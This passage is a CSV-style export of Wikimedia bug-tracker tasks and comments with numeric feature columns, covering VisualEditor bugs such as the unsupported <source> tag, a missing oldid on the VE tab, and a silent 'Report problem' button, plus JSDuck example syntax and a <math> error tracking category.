| should try to do thi[s] (especially, to avoid unexpected mix-mode for users).",,,1366668178,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,9.0,11.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,12.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,5.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,2.0,3.0,0.0,3.0,11.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.453125,0.8125,"Comment from bug 47507 comment 1:

| No data goes over the wire that is personally-identifying, so I would
| disagree that this is a blocker; however, yes, this is good practice and we
| should try to do thi[s] (especially, to avoid unexpected mix-mode for users)."
49454,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,"It seems <syntaxhighlight is working just fine, but it's old deprecated 'redirect' <source is not recognized by VE, as can be seen in the link.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: https://en.wikipedia.org/wiki/User:TheDJ/Sandbox",Low,25.0,1366465260,1366790189.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-2izho3en3c7veqknv2wr,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.4237288135593222,0.6610169491525424,"It seems <syntaxhighlight is working just fine, but it's old deprecated 'redirect' <source is not recognized by VE, as can be seen in the link.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
214104,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934095,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2izho3en3c7veqknv2wr,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
214097,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,"

*** This bug has been marked as a duplicate of bug 47579 ***",,,1366790189,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-2izho3en3c7veqknv2wr,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47579 ***"
214089,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,"This is probably something Parsoid needs to handle (or, rather, SyntaxHighlight with the Parsoid functionality to cope with 'redirects' between extension tags). Gabriel, does this sound right to you?

@Raimond - bug 43126 is about editing these blocks; this is just about displaying them correctly.",,,1366471273,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2izho3en3c7veqknv2wr,task_subcomment,,True,c1,1,True,,,-11,,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,7.0,14.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,14.0,7.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.508771929824562,0.7894736842105263,"This is probably something Parsoid needs to handle (or, rather, SyntaxHighlight with the Parsoid functionality to cope with 'redirects' between extension tags). Gabriel, does this sound right to you?
SCREEN_NAME - bug 43126 is about editing these blocks; this is just about displaying them correctly."
214083,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,Dupe of bug 43126?,,,1366465834,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-2izho3en3c7veqknv2wr,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Dupe of bug 43126?
49453,VisualEditor: VE tab missing oldid when using edit source on an oldid,"https://en.wikipedia.org/w/index.php?title=Phil_Thompson&action=edit&oldid=535300833

Note that in this mode, the VE tab is missing the oldid

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/w/index.php?title=Phil_Thompson&action=edit&oldid=535300833",Low,25.0,1366464180,1368809793.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-v3h2ouiwohdu44mwy2g6,task_description,declined,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,17.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.2439024390243905,0.5365853658536586,"URL

Note that in this mode, the VE tab is missing the oldid

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
214061,VisualEditor: VE tab missing oldid when using edit source on an oldid,"All of the tabs in this mode go to current, not oldid, so I think this is something that either should be fixed upstream in MW core (in which case, VE should just magically work), or be left as is, given that users will expect the current behaviour.",,,1368809793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3h2ouiwohdu44mwy2g6,task_subcomment,,True,c1,1,True,,,-7,,2.0,2.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,12.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,7.0,7.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,12.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.607142857142857,0.7678571428571429,"All of the tabs in this mode go to current, not oldid, so I think this is something that either should be fixed upstream in MW core (in which case, VE should just magically work), or be left as is, given that users will expect the current behaviour."
214052,VisualEditor: VE tab missing oldid when using edit source on an oldid,"In this mode without the VE, the wikitext edit tab doesn't go to the oldid, it goes to the curid page; I think we're going to have to think about how to let users get the VE from here.

Timo, any thoughts?",,,1366471108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3h2ouiwohdu44mwy2g6,task_subcomment,,True,c1,1,True,,,-11,,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,10.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,18.0,6.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.235294117647059,0.7647058823529411,"In this mode without the VE, the wikitext edit tab doesn't go to the oldid, it goes to the curid page; I think we're going to have to think about how to let users get the VE from here.

Timo, any thoughts?"
49421,"VisualEditor: ""Edit source"" tab text should be ""Create source"" or similar when page is non-existent","Currently the ""Edit source"" button's label is the same whether the page is extant or not. This should change.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1366394700,1368885140.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lr6aehasmla6m24l7lfy,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,12.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.6666666666666666,"Currently the ""Edit source"" button's label is the same whether the page is extant or not. This should change.

--------------------------
**Version**: unspecified
**Severity**: minor"
212326,"VisualEditor: ""Edit source"" tab text should be ""Create source"" or similar when page is non-existent",Merged; will go out with wmf5.,,,1368885140,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lr6aehasmla6m24l7lfy,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged; will go out with wmf5.
212321,"VisualEditor: ""Edit source"" tab text should be ""Create source"" or similar when page is non-existent",Related URL: https://gerrit.wikimedia.org/r/64276 (Gerrit Change Iafba040cb8eb53017f38f2099a473e0e43e2ec46),,,1368791290,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lr6aehasmla6m24l7lfy,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iafba040cb8eb53017f38f2099a473e0e43e2ec46)
49113,Use JSDuck syntax for inline examples in code documentation,"That is https://github.com/senchalabs/jsduck/wiki/Inline-examples

For instance:

resources/js/ext.translate.editor.js
9:       * Example usage:

resources/js/ext.translate.proofread.js
107:     * Example usage:

resources/js/ext.translate.pagemode.js
10:      * Example usage:",Low,25.0,1365665640,1487992074.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-nqzemfntve3l7ortesoj,task_description,declined,True,c1,1,True,False,False,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3061224489795915,0.46938775510204084,"That is URL

For instance:

resources/js/ext.translate.editor.js
9:       * Example usage:

resources/js/ext.translate.proofread.js
107:     * Example usage:

resources/js/ext.translate.pagemode.js
10:      * Example usage:"
815595,Use JSDuck syntax for inline examples in code documentation,"JSDuck's `@example` syntax is for a live demo of running code. For OOjs UI and VisualEditor this can be useful in places for classes and methods that are largely about their visual and interactive rendering (not about the shape return value itself). However I'm not sure that's useful in the case of the Translate extension.

To render code examples with syntax highlighting, just use three backticks (or indentation) to create a code section in JSDuck's markdown rendering. Closing this task as it doesn't seem actionable right now.

Right now Translate documentation isn't rendered/published anywhere, so in its current form the code examples are readable as-is. If they are published, one of the three examples will need to be indented for it to be preformatted correctly.",,,1487992074,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nqzemfntve3l7ortesoj,task_subcomment,,True,c1,3,True,,,190,,0.0,0.0,0.0,2.5,2.5,7.0,2.0,0.0,0.0,0.5,4.0,2.0,0.0,0.0,0.0,0.5,0.5,8.5,11.5,0.0,2.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.5,0.5,0.0,5.5,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.5,2.5,0.0,1.0,0.0,0.5,0.0,12.5,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,4.0,5.5,8.5,0.5,3.0,5.5,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,11.5,2.5,0.0,0.0,0.0,4.0,0.0,0.5,1.0,0.5,1.0,0.0,0.0,0.0,4.28438596491228,0.7747368421052632,"JSDuck's CODE syntax is for a live demo of running code. For OOjs UI and VisualEditor this can be useful in places for classes and methods that are largely about their visual and interactive rendering (not about the shape return value itself). However I'm not sure that's useful in the case of the Translate extension.

To render code examples with syntax highlighting, just use three backticks (or indentation) to create a code section in JSDuck's markdown rendering. Closing this task as it doesn't seem actionable right now.

Right now Translate documentation isn't rendered/published anywhere, so in its current form the code examples are readable as-is. If they are published, one of the three examples will need to be indented for it to be preformatted correctly."
219320,Use JSDuck syntax for inline examples in code documentation,"Example of how usage example is used:

https://doc.wikimedia.org/VisualEditor/master/#!/api/ve.init.sa.Target

(especially notice the live preview)

https://doc.wikimedia.org/mediawiki-core/master/js/#!/api/mw.html",,,1379593886,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nqzemfntve3l7ortesoj,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.85,"Example of how usage example is used:

URL

(especially notice the live preview)

URL"
49111,"VisualEditor: ""Report problem"" button should give some feedback","- Edit an article on the English Wikipedia in the VE

- Click ""Review and save""

- Click ""Something is wrong""

- Enter text into the field and click ""report problem""

Nothing happens - either the error report is not sent, or the fact that it was sent is not conveyed to the user.

Reproduced three times in a current Chromium version (Chromium/25.0.1364.160) on Ubuntu.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1365661620,1366397733.0,PHID-USER-wlku5ja6envbi4cz2etp,False,,False,PHID-TASK-tz5is7r52hxlpbizafzp,task_description,resolved,True,c1,1,False,False,True,-12,,0.0,1.0,0.0,3.0,2.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,16.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,7.0,7.0,0.0,6.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8585858585858586,0.6161616161616161,"- Edit an article on the English Wikipedia in the VE

- Click ""Review and save""

- Click ""Something is wrong""

- Enter text into the field and click ""report problem""

Nothing happens - either the error report is not sent, or the fact that it was sent is not conveyed to the user.

Reproduced three times in a current Chromium version (Chromium/25.0.1364.160) on Ubuntu.

--------------------------
**Version**: unspecified
**Severity**: normal"
219172,"VisualEditor: ""Report problem"" button should give some feedback","The HTTPS element of this is now seemingly fixed in production. On submission, the user gets a ""Your problem has been reported. Thank you."" message. Marking as closed.",,,1366397733,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tz5is7r52hxlpbizafzp,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,3.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.888888888888889,0.8611111111111112,"The HTTPS element of this is now seemingly fixed in production. On submission, the user gets a ""Your problem has been reported. Thank you."" message. Marking as closed."
219167,"VisualEditor: ""Report problem"" button should give some feedback","To clarify, Gabriel checked the log and the reports I sent indeed do not seem to have made it through.

And I agree that a ""thank you"" alert would be nice, but I would already have been happy if the ""Report a problem"" dialog box would just have closed after clicking the ""Report problem"" button. Instead, nothing happened at all...",,,1365716252,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-tz5is7r52hxlpbizafzp,task_subcomment,,True,c1,1,False,,,-12,,1.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,10.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,1.0,5.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,8.0,3.0,12.0,3.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,10.0,4.0,0.0,8.0,0.0,7.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.73972602739726,0.726027397260274,"To clarify, Gabriel checked the log and the reports I sent indeed do not seem to have made it through.

And I agree that a ""thank you"" alert would be nice, but I would already have been happy if the ""Report a problem"" dialog box would just have closed after clicking the ""Report problem"" button. Instead, nothing happened at all..."
219162,"VisualEditor: ""Report problem"" button should give some feedback",IIRC posting from Wikipedia pages accessed via https has always been broken because of client-side security restrictions for subrequests. I think this is an instance of that problem.,,,1365715063,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-tz5is7r52hxlpbizafzp,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.84375,0.9375,IIRC posting from Wikipedia pages accessed via https has always been broken because of client-side security restrictions for subrequests. I think this is an instance of that problem.
219157,"VisualEditor: ""Report problem"" button should give some feedback","The reports go to a private log that Gabriel monitors. :-)

We're likely to kill the feature in the medium-term anyway, but a ""Thank you for your report"" JS alert wouldn't go amiss.

Timo, thoughts?",,,1365714340,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tz5is7r52hxlpbizafzp,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,12.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,8.0,6.0,2.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4583333333333335,0.8333333333333334,"The reports go to a private log that Gabriel monitors. :-)

We're likely to kill the feature in the medium-term anyway, but a ""Thank you for your report"" JS alert wouldn't go amiss.

Timo, thoughts?"
49037,Add tracking category to pages with errors in <math>,"An automatic tracking category for pages with errors in <math> (when parsed by texvc) would help finding these pages and fixing the errors.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1365503760,1467323599.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_description,resolved,True,c1,1,False,False,False,-12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,4.0,4.217391304347826,0.7608695652173914,"An automatic tracking category for pages with errors in <math> (when parsed by texvc) would help finding these pages and fixing the errors.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
687076,Add tracking category to pages with errors in <math>,"I see nobody answers. I am closing the task by myself. If there is a problem, reopen it.

Closed as resolved by [[https://gerrit.wikimedia.org/r/292576]].",,,1467323599,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,15.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,9.0,3.212121212121212,0.7878787878787878,"I see nobody answers. I am closing the task by myself. If there is a problem, reopen it.

Closed as resolved by [[GERRIT_URL]]."
686165,Add tracking category to pages with errors in <math>,"The discussion was moved to [[https://en.wikipedia.org/wiki/MediaWiki_talk:Math-tracking-category-error|here]].
